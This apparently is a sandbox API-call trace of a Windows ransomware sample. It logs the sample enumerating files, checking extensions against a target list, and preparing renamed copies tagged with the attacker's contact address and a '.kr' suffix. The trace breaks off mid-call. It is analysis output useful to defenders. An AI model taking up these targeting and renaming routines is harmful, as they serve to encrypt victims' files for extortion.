Thread: id = 48 os_tid = 0xe50 [0174.905] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3cf3a20 [0174.905] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3d03a28 [0174.906] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a768 [0174.906] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcf38 [0174.906] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a870 [0174.906] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x41b7020 [0174.909] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a948 [0174.909] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a948, Size=0x20) returned 0x45dd80 [0174.909] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a888 [0174.909] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a888, Size=0x20) returned 0x45dc18 [0174.909] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.909] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.909] Wow64DisableWow64FsRedirection (in: OldValue=0x377ff50 | out: OldValue=0x377ff50*=0x0) returned 1 [0174.909] lstrlenW (lpString="kernel32.dll") returned 12 [0174.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd80 | out: hHeap=0x420000) returned 1 [0174.909] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.909] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dc18 | out: hHeap=0x420000) returned 1 [0174.909] Sleep (dwMilliseconds=0x64) [0175.175] Sleep (dwMilliseconds=0x64) [0175.458] Sleep (dwMilliseconds=0x64) [0175.739] Sleep (dwMilliseconds=0x64) [0176.127] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.127] lstrlenW (lpString="base_ca.xml") returned 11 [0176.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.224] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3529) returned 1 [0176.224] CloseHandle (hObject=0x390) returned 1 [0176.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0176.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.225] lstrlenW (lpString=".doc") returned 4 [0176.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString=".docx") returned 5 [0176.225] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0176.225] lstrlenW (lpString=".pdf") returned 4 [0176.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString=".xls") returned 4 [0176.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString=".xlsx") returned 5 [0176.225] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0176.225] lstrlenW (lpString=".ppt") returned 4 [0176.225] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.225] lstrlenW (lpString=".zip") returned 4 [0176.225] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.225] lstrlenW (lpString=".rar") returned 4 [0176.225] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString=".bz2") returned 4 [0176.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString=".7z") returned 3 [0176.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.225] lstrlenW (lpString=".dbf") returned 4 [0176.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.226] lstrlenW (lpString=".1cd") returned 4 [0176.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.226] lstrlenW (lpString=".jpg") returned 4 [0176.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.226] lstrlenW (lpString=".doc") returned 4 [0176.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString=".docx") returned 5 [0176.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0176.226] lstrlenW (lpString=".pdf") returned 4 [0176.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString=".xls") returned 4 [0176.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString=".xlsx") returned 5 [0176.226] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0176.226] lstrlenW (lpString=".ppt") returned 4 [0176.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.226] lstrlenW (lpString=".zip") returned 4 [0176.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.226] lstrlenW (lpString=".rar") returned 4 [0176.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString=".bz2") returned 4 [0176.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.226] lstrlenW (lpString=".7z") returned 3 [0176.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.226] lstrlenW (lpString=".dbf") returned 4 [0176.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.227] lstrlenW (lpString=".1cd") returned 4 [0176.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0176.227] lstrlenW (lpString=".jpg") returned 4 [0176.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.227] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.227] lstrlenW (lpString="symbols.xml") returned 11 [0176.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.228] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=591) returned 1 [0176.228] CloseHandle (hObject=0x390) returned 1 [0176.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0176.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.228] lstrlenW (lpString=".doc") returned 4 [0176.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.228] lstrlenW (lpString=".docx") returned 5 [0176.228] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0176.228] lstrlenW (lpString=".pdf") returned 4 [0176.228] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.228] lstrlenW (lpString=".xls") returned 4 [0176.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.228] lstrlenW (lpString=".xlsx") returned 5 [0176.228] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0176.228] lstrlenW (lpString=".ppt") returned 4 [0176.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.229] lstrlenW (lpString=".zip") returned 4 [0176.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.229] lstrlenW (lpString=".rar") returned 4 [0176.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString=".bz2") returned 4 [0176.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString=".7z") returned 3 [0176.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.229] lstrlenW (lpString=".dbf") returned 4 [0176.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.229] lstrlenW (lpString=".1cd") returned 4 [0176.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.229] lstrlenW (lpString=".jpg") returned 4 [0176.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.229] lstrlenW (lpString=".doc") returned 4 [0176.229] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString=".docx") returned 5 [0176.229] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0176.229] lstrlenW (lpString=".pdf") returned 4 [0176.229] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString=".xls") returned 4 [0176.229] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.229] lstrlenW (lpString=".xlsx") returned 5 [0176.229] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0176.229] lstrlenW (lpString=".ppt") returned 4 [0176.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.230] lstrlenW (lpString=".zip") returned 4 [0176.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.230] lstrlenW (lpString=".rar") returned 4 [0176.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.230] lstrlenW (lpString=".bz2") returned 4 [0176.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.230] lstrlenW (lpString=".7z") returned 3 [0176.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.230] lstrlenW (lpString=".dbf") returned 4 [0176.230] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.230] lstrlenW (lpString=".1cd") returned 4 [0176.230] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0176.230] lstrlenW (lpString=".jpg") returned 4 [0176.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.230] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0176.230] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0176.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.231] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=46624) returned 1 [0176.231] CloseHandle (hObject=0x390) returned 1 [0176.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0176.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.232] lstrlenW (lpString=".doc") returned 4 [0176.232] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString=".docx") returned 5 [0176.232] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.232] lstrlenW (lpString=".pdf") returned 4 [0176.232] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString=".xls") returned 4 [0176.232] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString=".xlsx") returned 5 [0176.232] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.232] lstrlenW (lpString=".ppt") returned 4 [0176.232] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.232] lstrlenW (lpString=".zip") returned 4 [0176.232] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString=".rar") returned 4 [0176.232] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString=".bz2") returned 4 [0176.232] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.232] lstrlenW (lpString=".7z") returned 3 [0176.232] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.232] lstrlenW (lpString=".dbf") returned 4 [0176.232] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.232] lstrlenW (lpString=".1cd") returned 4 [0176.232] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.232] lstrlenW (lpString=".jpg") returned 4 [0176.232] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.233] lstrlenW (lpString=".doc") returned 4 [0176.233] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString=".docx") returned 5 [0176.233] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.233] lstrlenW (lpString=".pdf") returned 4 [0176.233] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString=".xls") returned 4 [0176.233] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString=".xlsx") returned 5 [0176.233] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.233] lstrlenW (lpString=".ppt") returned 4 [0176.233] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.233] lstrlenW (lpString=".zip") returned 4 [0176.233] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString=".rar") returned 4 [0176.233] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString=".bz2") returned 4 [0176.233] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.233] lstrlenW (lpString=".7z") returned 3 [0176.233] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.233] lstrlenW (lpString=".dbf") returned 4 [0176.233] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.233] lstrlenW (lpString=".1cd") returned 4 [0176.233] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0176.233] lstrlenW (lpString=".jpg") returned 4 [0176.233] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.234] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0176.234] lstrlenW (lpString="hwrenclm.dat") returned 12 [0176.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.234] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=498624) returned 1 [0176.234] CloseHandle (hObject=0x390) returned 1 [0176.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0176.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.235] lstrlenW (lpString=".doc") returned 4 [0176.235] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString=".docx") returned 5 [0176.235] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.235] lstrlenW (lpString=".pdf") returned 4 [0176.235] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString=".xls") returned 4 [0176.235] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString=".xlsx") returned 5 [0176.235] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.235] lstrlenW (lpString=".ppt") returned 4 [0176.235] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.235] lstrlenW (lpString=".zip") returned 4 [0176.235] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString=".rar") returned 4 [0176.235] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString=".bz2") returned 4 [0176.235] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.235] lstrlenW (lpString=".7z") returned 3 [0176.235] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.235] lstrlenW (lpString=".dbf") returned 4 [0176.235] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.235] lstrlenW (lpString=".1cd") returned 4 [0176.236] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.236] lstrlenW (lpString=".jpg") returned 4 [0176.236] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.236] lstrlenW (lpString=".doc") returned 4 [0176.236] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString=".docx") returned 5 [0176.236] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.236] lstrlenW (lpString=".pdf") returned 4 [0176.236] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString=".xls") returned 4 [0176.236] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString=".xlsx") returned 5 [0176.236] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.236] lstrlenW (lpString=".ppt") returned 4 [0176.236] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.236] lstrlenW (lpString=".zip") returned 4 [0176.236] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString=".rar") returned 4 [0176.236] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString=".bz2") returned 4 [0176.236] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.236] lstrlenW (lpString=".7z") returned 3 [0176.236] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.236] lstrlenW (lpString=".dbf") returned 4 [0176.236] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.236] lstrlenW (lpString=".1cd") returned 4 [0176.237] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0176.237] lstrlenW (lpString=".jpg") returned 4 [0176.237] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.237] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x3d35a48, Size=0x2000) returned 0x3d35a48 [0176.237] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0176.237] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0176.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.238] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1100592) returned 1 [0176.238] CloseHandle (hObject=0x390) returned 1 [0176.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0176.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 